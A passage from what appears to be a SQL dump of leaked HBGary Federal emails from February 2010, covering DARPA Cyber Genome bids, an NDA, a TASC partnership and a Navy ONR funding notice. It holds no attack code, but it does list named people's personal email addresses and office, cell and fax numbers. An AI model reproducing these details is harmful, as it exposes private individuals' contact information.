Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14819,'aaron_hbgary_com/14819.html'),(3013,'2010-02-24','\"Thompson, Bill (Xetron)\" <Bill.Thompson2@ngc.com>','/aaron@hbgary.com/new/1297001432.M805228P3547Q3013.eml','aaron@hbgary.com','Re: Lmco','\r\nDo you want me to give him a call\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Thompson, Bill (Xetron)Sent: Wed Feb 24 06:19:57 2010Subject: Re: Lmco\r\nNope.From my iPhoneOn Feb 24, 2010, at 7:10 AM, &quot;Thompson, Bill (Xetron)&quot; &lt;Bill.Thompson2@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nSorry about dinner last night. Were you able to get an appt with lmco for this morning?  Let me know. Billt\r\n\r\n----- Original Message -----\r\nFrom: Thompson, Bill (Xetron)\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSent: Mon Feb 22 15:43:03 2010\r\nSubject: RE: Good Input\r\n\r\nCool\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Monday, February 22, 2010 4:42 PM\r\nTo: Thompson, Bill (Xetron)\r\nSubject: Re: Good Input\r\n\r\ntrying haven&#39;t heard back yet.  I will let you know.\r\n\r\nAaron\r\n\r\nOn Feb 22, 2010, at 4:41 PM, Thompson, Bill (Xetron) wrote:\r\n\r\n&gt; I thought we were going to LM and you were getting an appt with Jim Racz\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Monday, February 22, 2010 4:40 PM\r\n&gt; To: Thompson, Bill (Xetron)\r\n&gt; Subject: Re: Good Input\r\n&gt;\r\n&gt; ok lets shoot for it then.  Earlier the better for me.  So this is to LM\r\n&gt; or customer?  Where would we do it?\r\n&gt; Aaron\r\n&gt;\r\n&gt; On Feb 22, 2010, at 4:33 PM, Thompson, Bill (Xetron) wrote:\r\n&gt;\r\n&gt;&gt; Nice.  Aaron,  Matt tells me that the best day for UNO is Wed.  That\r\n&gt; is\r\n&gt;&gt; when they allow capabilities pitches.  I will be available until\r\n&gt; around\r\n&gt;&gt; noon.\r\n&gt;&gt;\r\n&gt;&gt; billt\r\n&gt;&gt;\r\n&gt;&gt; -----Original Message-----\r\n&gt;&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt;&gt; Sent: Monday, February 22, 2010 4:30 PM\r\n&gt;&gt; To: Masterson, Brian (Xetron); Thompson, Bill (Xetron)\r\n&gt;&gt; Subject: Good Input\r\n&gt;&gt;\r\n&gt;&gt; I was at the DARPA cyber genome proposers day and had 15 minutes with\r\n&gt;&gt; Van Putte.  He was interested in our Threat Intelligence Center\r\n&gt; concept\r\n&gt;&gt; but said it sounded to evolutionary for funding as it is.  But a few\r\n&gt;&gt; government folks that represented the &quot;end customers&quot; stopped us later\r\n&gt;&gt; and told us that what we were developing was exactly what was needed\r\n&gt; and\r\n&gt;&gt; that no one is approaching it this way.  Good input.\r\n&gt;&gt;\r\n&gt;&gt; Brian call me when you get a chance.\r\n&gt;&gt;\r\n&gt;&gt; Aaron Barr\r\n&gt;&gt; CEO\r\n&gt;&gt; HBGary Federal Inc.\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16813,'aaron_hbgary_com/16813.html'),(3014,'2010-02-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001432.M998341P3547Q3014.eml','\"Thompson, Bill (Xetron)\" <Bill.Thompson2@ngc.com>','Re: Lmco','Couldn\'t hurt, I am not getting very far.Thanks,AaronOn Feb 24, 2010, at 7:34 AM, Thompson, Bill (Xetron) wrote:\r\nDo you want me to give him a call\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Thompson, Bill (Xetron)\r\nSent: Wed Feb 24 06:19:57 2010Subject: Re: Lmco\r\n\r\nNope.From my iPhoneOn Feb 24, 2010, at 7:10 AM, \"Thompson, Bill (Xetron)\" &lt;Bill.Thompson2@ngc.com&gt; wrote:\r\nSorry about dinner last night. Were you able to get an appt with lmco for this morning?&nbsp; Let me know. Billt\r\n\r\n----- Original Message -----\r\nFrom: Thompson, Bill (Xetron)\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSent: Mon Feb 22 15:43:03 2010\r\nSubject: RE: Good Input\r\n\r\nCool\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Monday, February 22, 2010 4:42 PM\r\nTo: Thompson, Bill (Xetron)\r\nSubject: Re: Good Input\r\n\r\ntrying haven\'t heard back yet.&nbsp; I will let you know.\r\n\r\nAaron\r\n\r\nOn Feb 22, 2010, at 4:41 PM, Thompson, Bill (Xetron) wrote:\r\n\r\n&gt; I thought we were going to LM and you were getting an appt with Jim Racz\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Monday, February 22, 2010 4:40 PM\r\n&gt; To: Thompson, Bill (Xetron)\r\n&gt; Subject: Re: Good Input\r\n&gt;\r\n&gt; ok lets shoot for it then.&nbsp; Earlier the better for me.&nbsp; So this is to LM\r\n&gt; or customer?&nbsp; Where would we do it?\r\n&gt; Aaron\r\n&gt;\r\n&gt; On Feb 22, 2010, at 4:33 PM, Thompson, Bill (Xetron) wrote:\r\n&gt;\r\n&gt;&gt; Nice.&nbsp; Aaron,&nbsp; Matt tells me that the best day for UNO is Wed.&nbsp; That\r\n&gt; is\r\n&gt;&gt; when they allow capabilities pitches.&nbsp; I will be available until\r\n&gt; around\r\n&gt;&gt; noon.\r\n&gt;&gt;\r\n&gt;&gt; billt\r\n&gt;&gt;\r\n&gt;&gt; -----Original Message-----\r\n&gt;&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt;&gt; Sent: Monday, February 22, 2010 4:30 PM\r\n&gt;&gt; To: Masterson, Brian (Xetron); Thompson, Bill (Xetron)\r\n&gt;&gt; Subject: Good Input\r\n&gt;&gt;\r\n&gt;&gt; I was at the DARPA cyber genome proposers day and had 15 minutes with\r\n&gt;&gt; Van Putte.&nbsp; He was interested in our Threat Intelligence Center\r\n&gt; concept\r\n&gt;&gt; but said it sounded to evolutionary for funding as it is.&nbsp; But a few\r\n&gt;&gt; government folks that represented the \"end customers\" stopped us later\r\n&gt;&gt; and told us that what we were developing was exactly what was needed\r\n&gt; and\r\n&gt;&gt; that no one is approaching it this way.&nbsp; Good input.\r\n&gt;&gt;\r\n&gt;&gt; Brian call me when you get a chance.\r\n&gt;&gt;\r\n&gt;&gt; Aaron Barr\r\n&gt;&gt; CEO\r\n&gt;&gt; HBGary Federal Inc.\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9056,'aaron_hbgary_com/9056.html'),(3015,'2010-02-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001433.M219330P3547Q3015.eml','\"Bob Slapnik\" <bob@hbgary.com>','Fwd: DARPA Cyber Genome project','Not sure what this means...they think its already done?AaronBegin forwarded message:From: \"Van Buren, Karen\" &lt;kvanbure@harris.com&gt;Date: February 23, 2010 5:53:22 PM ESTTo: \"\'aaron@hbgary.com\'\" &lt;aaron@hbgary.com&gt;Subject: DARPA Cyber Genome projectAaron,After thoughtful consideration, we have decided that the MITRE MAEC white paper mirrors our approach for technical area one and have decided to no bid that area.&nbsp; Let\'s keep the communication open and try to collaborate on opportunities as they arise in the near future.&nbsp; It was great meeting you.&nbsp; I would still like to get an NDA in place and talk with you about our capabilities and yours.&nbsp; Please let me know if that is still god for you.Regards, Karen&nbsp;&nbsp;Karen K. Van BurenSenior Program ManagerHarris Corporation Crucial Security Programs14900 Conference Center Drive, Suite 225Chantilly, VA 20151703.961.9456 x247 (office)703.774.6583 (cell)703.961.9459 (fax)karen.vanburen@harris.com&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12195,'aaron_hbgary_com/12195.html'),(3016,'2010-02-24','\"Lovegrove, John (TASC Inc)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297001433.M467818P3547Q3016.eml','aaron@hbgary.com,aaron@hbgary.com,,,,','COIN follow up','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nIt was good to talk to you Friday; Al and I want to move\r\nquickly to meet and explore our options to pursue COIN together.&nbsp; Chris\r\nClair, who I think you know, and Kathy Garcia are working this effort for\r\nus.&nbsp; Perhaps we can meet via telecom or in person in the next few\r\ndays.&nbsp; We can discuss the other issues in a side meeting.&nbsp; \r\n\r\n&nbsp;\r\n\r\nLet me know if this will work and we will coordinate\r\ncalendars.&nbsp; Do you have an admin?\r\n\r\n&nbsp;\r\n\r\nWR\r\n\r\n&nbsp;\r\n\r\nJohn Lovegrove\r\n\r\nDirector\r\n\r\nOffice: (703) 449-3812\r\n\r\nCell: (571) 294-5154\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTASC INTERNAL\r\nDISTRIBUTION ONLY\r\nThis e-mail, including\r\nattachments, is intended for the exclusive use of the person or entity to whom\r\nit is addressed and may contain confidential or privileged information. If the\r\nreader of this e-mail is not the intended recipient or his or her authorized\r\nagent, the reader is hereby notified that any dissemination, distribution or\r\ncopying of this e-mail is prohibited. If you think that you have received this\r\ne-mail in error, please advise the sender by reply e-mail of the error and then\r\ndelete this e-mail immediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3655,'aaron_hbgary_com/3655.html'),(3017,'2010-02-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001433.M686628P3547Q3017.eml','\"Lovegrove, John (TASC Inc)\" <John.Lovegrove@tasc.com>','Re: COIN follow up','Sounds good. &nbsp;I am open Thursday, working a proposal, so can break at about any time. &nbsp;No admin, although my life will be much easier when I can afford one.AaronOn Feb 24, 2010, at 7:45 AM, Lovegrove, John (TASC Inc) wrote:Aaron,&nbsp;It was good to talk to you Friday; Al and I want to move quickly to meet and explore our options to pursue COIN together.&nbsp; Chris Clair, who I think you know, and Kathy Garcia are working this effort for us.&nbsp; Perhaps we can meet via telecom or in person in the next few days.&nbsp; We can discuss the other issues in a side meeting.&nbsp;&nbsp;Let me know if this will work and we will coordinate calendars.&nbsp; Do you have an admin?&nbsp;WR&nbsp;John LovegroveDirectorOffice: (703) 449-3812Cell: (571) 294-5154&nbsp;&lt;image001.png&gt;&nbsp;TASC INTERNAL DISTRIBUTION ONLYThis e-mail, including attachments, is intended for the exclusive use of the person or entity to whom it is addressed and may contain confidential or privileged information. If the reader of this e-mail is not the intended recipient or his or her authorized agent, the reader is hereby notified that any dissemination, distribution or copying of this e-mail is prohibited. If you think that you have received this e-mail in error, please advise the sender by reply e-mail of the error and then delete this e-mail immediately.&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15567,'aaron_hbgary_com/15567.html'),(3018,'2010-02-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001436.M489736P3547Q3018.eml','irby@pikewerks.com','DARPA BAA','Hi Irby,\r\n\r\nAttached is our NDA.  Let me know if you have some time this afternoon or tomorrow for your team to discuss.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',2162,'aaron_hbgary_com/2162.html'),(3019,'2010-02-24','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297001436.M765228P3547Q3019.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,','Re: Editorial Board Invite','http://diocyde.wordpress.com/page/2/The guy has changed to post entry so it doesn\'t talk at all about this was his idea, legal, etc.AaronOn Feb 11, 2010, at 7:42 AM, Aaron Barr wrote:Fuk that!This guy call us pagerists!Researcher wants hacker groups hounded mercilesslyBotnet expert Joe Stewart says ’special ops’ teams could thwart cybercriminalsThese concepts I have discussed in great depth in some of my earlier posts such as ourSpotlight Shine Bright&nbsp;series, and my&nbsp;I call Shenanigans, and&nbsp;BBC Wussy Robin Hood articles.On a seperate yet personally disappointing note.A technology company employing some of the best and the brightest in the field just released an update to their product that almost completely copies my original research.The company is called&nbsp;HBGary&nbsp;lead by the guys that literaly wrote the book on Rootkits.&nbsp; I would&nbsp; be very interested to know how they originated the idea considering I discussed it with them while I was thinking about working for them last year in the DC area.&nbsp; However it was so long ago that I can’t remember what was discussed and at the time while I was fleshing out the concept and laying out my research it never got beyond the pre-prototype stage.&lt;etbadge.jpg&gt;Its entirely possible that they came up with it on their own, there was no prior research published at least via Google when I did my prior work search on the concept.&nbsp; HBGary seems to have done a good implementation job jumping on the concept calling it Digital DNA and incorporating it into their flagship product the Responder Pro.&nbsp; Which seems to be a very well put together system.I was working on a patent pending revolutionary concept and system called Malware DNA and the Simple Malware Analysis for the Security Operator (SMASO).&nbsp; This concept I was prototyping on my own with some associates since last August 2008/September 2008 until just recently.On Feb 11, 2010, at 7:33 AM, Penny Leavy wrote:OK this is weird, I thought this guy worked for mandiant based upon a conversation with Rich.&nbsp; Greg I guess you aren\'t as \"elite\" as Phil:)&nbsp; Phil should call and see what this is about.&nbsp; It\'s nice we are first, notice, the entry on the list.&nbsp; This is kind of a conflict of interest isn\'t it?&nbsp; It\'s obvious that this&nbsp; guy does not know his recommendations, since he mi-spelled their names and I would beat DARPA is going to be upset because it \"ties\" Crucial.&nbsp; Also notice the Fireeye ties.&nbsp; \r\n\r\n---------- Forwarded message ----------From: Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\nDate: Wed, Feb 10, 2010 at 5:56 PMSubject: Editorial Board InviteTo: phil@hbgary.comCc: penny@hbgary.com\r\n\r\n\r\n\r\n\r\nHi Phil, Just want to be sure you saw this\r\nhttp://diocyde.wordpress.com/2010/02/10/announcing-invites-for-technical-author-and-submission-editorial-board-for-malware-dna-knowledgebase/\r\n-- Penny C. LeavyHBGary, Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3395,'aaron_hbgary_com/3395.html'),(3020,'2010-02-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001436.M965409P3547Q3020.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,,','Fwd: DARPA Cyber Genome project','Got this email yesterday from the lady that is heading up this type of work for Harris/Crucial.AaronBegin forwarded message:From: \"Van Buren, Karen\" &lt;kvanbure@harris.com&gt;Date: February 23, 2010 5:53:22 PM ESTTo: \"\'aaron@hbgary.com\'\" &lt;aaron@hbgary.com&gt;Subject: DARPA Cyber Genome projectAaron,After thoughtful consideration, we have decided that the MITRE MAEC white paper mirrors our approach for technical area one and have decided to no bid that area.&nbsp; Let\'s keep the communication open and try to collaborate on opportunities as they arise in the near future.&nbsp; It was great meeting you.&nbsp; I would still like to get an NDA in place and talk with you about our capabilities and yours.&nbsp; Please let me know if that is still god for you.Regards, Karen&nbsp;&nbsp;Karen K. Van BurenSenior Program ManagerHarris Corporation Crucial Security Programs14900 Conference Center Drive, Suite 225Chantilly, VA 20151703.961.9456 x247 (office)703.774.6583 (cell)703.961.9459 (fax)karen.vanburen@harris.com&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14003,'aaron_hbgary_com/14003.html'),(3021,'2010-02-24','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297001437.M175708P3547Q3021.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: DARPA BAA','Aaron,\r\n\r\nI am traveling this morning, but will get this turned around this  \r\nafternoon. Let\'s plan to have a discussion tomorrow morning.\r\n\r\n      Regards,\r\n      Irby\r\n\r\n\r\n\r\nOn Feb 24, 2010, at 7:53 AM, Aaron Barr  wrote:\r\n\r\n> Hi Irby,\r\n>\r\n> Attached is our NDA.  Let me know if you have some time this  \r\n> afternoon or tomorrow for your team to discuss.\r\n>\r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n> \r\n',9915,'aaron_hbgary_com/9915.html'),(3022,'2010-02-24','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001437.M438652P3547Q3022.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: DARPA Cyber Genome project','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMy interpretation is that Harris said MITRE is already\r\nimplementing something similar to Harris&#8217;s idea.&nbsp; I don&#8217;t know Harris&#8217;s idea,\r\nbut we ought to make sure our ideas are not the same as MITRE&#8217;s.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 24, 2010 7:46 AM\r\nTo: Bob Slapnik\r\nSubject: Fwd: DARPA Cyber Genome project\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNot sure what this means...they think its already done?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Van\r\nBuren, Karen&quot; &lt;kvanbure@harris.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nFebruary\r\n23, 2010 5:53:22 PM EST\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&quot;\'aaron@hbgary.com\'&quot; &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nDARPA Cyber Genome project\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nAfter thoughtful consideration, we have decided that the MITRE\r\nMAEC white paper mirrors our approach for technical area one and have decided\r\nto no bid that area.&nbsp; Let\'s keep the communication open and try to\r\ncollaborate on opportunities as they arise in the near future.&nbsp; It was\r\ngreat meeting you.&nbsp; I would still like to get an NDA in place and talk\r\nwith you about our capabilities and yours.&nbsp; Please let me know if that is\r\nstill god for you.\r\n\r\n\r\n\r\n\r\n\r\nRegards, Karen\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nKaren K. Van Buren\r\n\r\n\r\n\r\n\r\n\r\nSenior Program Manager\r\n\r\n\r\n\r\n\r\n\r\nHarris Corporation Crucial Security Programs\r\n\r\n\r\n\r\n\r\n\r\n14900 Conference Center Drive, Suite 225\r\n\r\n\r\n\r\n\r\n\r\nChantilly, VA 20151\r\n\r\n\r\n\r\n\r\n\r\n703.961.9456 x247 (office)\r\n\r\n\r\n\r\n\r\n\r\n703.774.6583 (cell)\r\n\r\n\r\n\r\n\r\n\r\n703.961.9459 (fax)\r\n\r\n\r\n\r\n\r\n\r\nkaren.vanburen@harris.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2699 - Release Date: 02/23/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15117,'aaron_hbgary_com/15117.html'),(3023,'2010-02-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001437.M680366P3547Q3023.eml','nolan@informationsecuritysolutionsllc.com','Re: A very interesting project opportunity with the Navy (ONR)','I won&#39;t be at rsa, need to focus on proposal writing.  Given that let&#39;s figure out when we can tall.  When is your next available timeframe?  I am open Thursday and Friday mostly for writing.\r\nAaronFrom my iPhoneOn Feb 23, 2010, at 10:11 AM, &quot;nolan@informationsecuritysolutionsllc.com&quot; &lt;nolan@informationsecuritysolutionsllc.com&gt; wrote:\r\nI will be in DC at the AFCEA Homeland Security show. Will you be at RSA next week?Sent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 23 Feb 2010 09:22:52 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;&lt;nolan@informationsecuritysolutionsllc.com&gt;\r\nSubject: Re: A very interesting project opportunity with the Navy (ONR)Sounds interesting.  Let&#39;s discuss.  I am going to be at the navy day on Wednesday.  Are u going to be there?\r\nAaronFrom my iPhoneOn Feb 23, 2010, at 9:06 AM, Nolan Clifford &lt;nolan@informationsecuritysolutionsllc.com&gt; wrote:\r\n\r\n\r\n\r\nHBGary + Fidelis + \r\nISS - Could be very interesting...\r\n \r\nAlso, there is a \r\ncompany called Promia out of SF that does some of the correlation needed for \r\nthis. I know their CEO well. They developed the technology via SBIR funding \r\nfrom the Navy (earmarked from a pal in congress) and it is currently used on \r\nlive Navy networks...\r\n \r\n\r\nNavy looks to advance cyber defense\r\nFunding for development of algorithms, techniques \r\nand software to bolster defense of Navy networks\r\n\r\n  By Ben \r\n  Bain\r\n  Feb 22, 2010The Office of Naval Research plans to spend \r\nup to $16 million to develop new cyber defense prototypes to ensure \r\ncontinuity of cyber operations during a cyber conflict, according to a recent notice from that organization. \r\nThe project&#39;s goal is to develop new concepts for protecting the Navy’s \r\nnetworks, and the desired prototype at the end of it would provide decision \r\nmanagement, intelligent decision aids, data fusion, and correlation and \r\nvisualization capabilities, ONR said in a recent broad agency announcement.\r\nThe office said there’s a major need for technologies that can identify and \r\nmitigate real-time threats while ensuring continuity of operations. Current \r\nnetwork defense tools are reactive and inflexible and don’t allow for real-time \r\nresponse, it said.\r\n“The architecture being sought is intended to provide a comprehensive, \r\nholistic approach to computer network defense and to move away from traditional \r\nconcepts of patch management and computer resource management,” ONR said.\r\nAccording to the notice, the three main components of the new architecture \r\nare:\r\n\r\n\r\n  Decision support that provides real-time management and control of \r\n  sensors, and an automated response capability, among other \r\n  capabilities.\r\n  Sensors and gateways that would provide enhanced anomaly detection \r\n  capabilities and network awareness.\r\n  Security-enabled protocols to ensure data delivery,reliability and \r\n  provenance and control of network-based security components.\r\n\r\nThe technologies ONR is interested in include:\r\n\r\n\r\n  Algorithms for the detection of malware embedded in binary data files that \r\n  go beyond normal antivirus detection algorithms.\r\n  Algorithms for sensors and gateways that can distinguish between \r\n  legitimate and malicious traffic.\r\n  Algorithms to mine data that support the correlation and fusion of large, \r\n  complex datasets.\r\n  Security-enabled protocols that ensure proper network function during \r\n  cyberattacks.\r\n  Tools to support attribution of network activity to a source.\r\n\r\nThe office said it may award up to five multiple indefinite-delivery, \r\nindefinite-quantity contracts to do the work. The ONR plans on spending $16 \r\nmillion through fiscal 2015 on the work.\r\nONR plans to hold an industry day for the project on Feb. 24; full proposals \r\nfor phase one of the project will be due on May 21.\r\n \r\nCheers,\r\nNolan\r\n \r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\n\r\n\r\nnolan@informationsecuritysolutionsllc.com\r\n\r\n\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n \r\n \r\n\r\n\r\n\r\n',15315,'aaron_hbgary_com/15315.html'),(3024,'2010-02-24','nolan@informationsecuritysolutionsllc.com','/aaron@hbgary.com/new/1297001437.M908467P3547Q3024.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: A very interesting project opportunity with the Navy (ONR)','OK, how does a call on Friday morning at 9:30 work for you?Sent via BlackBerry by AT&TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 24 Feb 2010 10:14:53 -0500To: nolan@informationsecuritysolutionsllc.com&lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: A very interesting project opportunity with the Navy (ONR)I won&#39;t be at rsa, need to focus on proposal writing.  Given that let&#39;s figure out when we can tall.  When is your next available timeframe?  I am open Thursday and Friday mostly for writing.\r\nAaronFrom my iPhoneOn Feb 23, 2010, at 10:11 AM, &quot;nolan@informationsecuritysolutionsllc.com&quot; &lt;nolan@informationsecuritysolutionsllc.com&gt; wrote:\r\nI will be in DC at the AFCEA Homeland Security show. Will you be at RSA next week?Sent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 23 Feb 2010 09:22:52 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;&lt;nolan@informationsecuritysolutionsllc.com&gt;\r\nSubject: Re: A very interesting project opportunity with the Navy (ONR)Sounds interesting.  Let&#39;s discuss.  I am going to be at the navy day on Wednesday.  Are u going to be there?\r\nAaronFrom my iPhoneOn Feb 23, 2010, at 9:06 AM, Nolan Clifford &lt;nolan@informationsecuritysolutionsllc.com&gt; wrote:\r\n\r\n\r\n\r\nHBGary + Fidelis + \r\nISS - Could be very interesting...\r\n \r\nAlso, there is a \r\ncompany called Promia out of SF that does some of the correlation needed for \r\nthis. I know their CEO well. They developed the technology via SBIR funding \r\nfrom the Navy (earmarked from a pal in congress) and it is currently used on \r\nlive Navy networks...\r\n \r\n\r\nNavy looks to advance cyber defense\r\nFunding for development of algorithms, techniques \r\nand software to bolster defense of Navy networks\r\n\r\n  By Ben \r\n  Bain\r\n  Feb 22, 2010The Office of Naval Research plans to spend \r\nup to $16 million to develop new cyber defense prototypes to ensure \r\ncontinuity of cyber operations during a cyber conflict, according to a recent notice from that organization. \r\nThe project&#39;s goal is to develop new concepts for protecting the Navy’s \r\nnetworks, and the desired prototype at the end of it would provide decision \r\nmanagement, intelligent decision aids, data fusion, and correlation and \r\nvisualization capabilities, ONR said in a recent broad agency announcement.\r\nThe office said there’s a major need for technologies that can identify and \r\nmitigate real-time threats while ensuring continuity of operations. Current \r\nnetwork defense tools are reactive and inflexible and don’t allow for real-time \r\nresponse, it said.\r\n“The architecture being sought is intended to provide a comprehensive, \r\nholistic approach to computer network defense and to move away from traditional \r\nconcepts of patch management and computer resource management,” ONR said.\r\nAccording to the notice, the three main components of the new architecture \r\nare:\r\n\r\n\r\n  Decision support that provides real-time management and control of \r\n  sensors, and an automated response capability, among other \r\n  capabilities.\r\n  Sensors and gateways that would provide enhanced anomaly detection \r\n  capabilities and network awareness.\r\n  Security-enabled protocols to ensure data delivery,reliability and \r\n  provenance and control of network-based security components.\r\n\r\nThe technologies ONR is interested in include:\r\n\r\n\r\n  Algorithms for the detection of malware embedded in binary data files that \r\n  go beyond normal antivirus detection algorithms.\r\n  Algorithms for sensors and gateways that can distinguish between \r\n  legitimate and malicious traffic.\r\n  Algorithms to mine data that support the correlation and fusion of large, \r\n  complex datasets.\r\n  Security-enabled protocols that ensure proper network function during \r\n  cyberattacks.\r\n  Tools to support attribution of network activity to a source.\r\n\r\nThe office said it may award up to five multiple indefinite-delivery, \r\nindefinite-quantity contracts to do the work. The ONR plans on spending $16 \r\nmillion through fiscal 2015 on the work.\r\nONR plans to hold an industry day for the project on Feb. 24; full proposals \r\nfor phase one of the project will be due on May 21.\r\n \r\nCheers,\r\nNolan\r\n \r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\n\r\n\r\nnolan@informationsecuritysolutionsllc.com\r\n\r\n\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n \r\n \r\n\r\n\r\n\r\n\r\n',5178,'aaron_hbgary_com/5178.html'),(3025,'2010-02-24','\"Aaron Barr\" 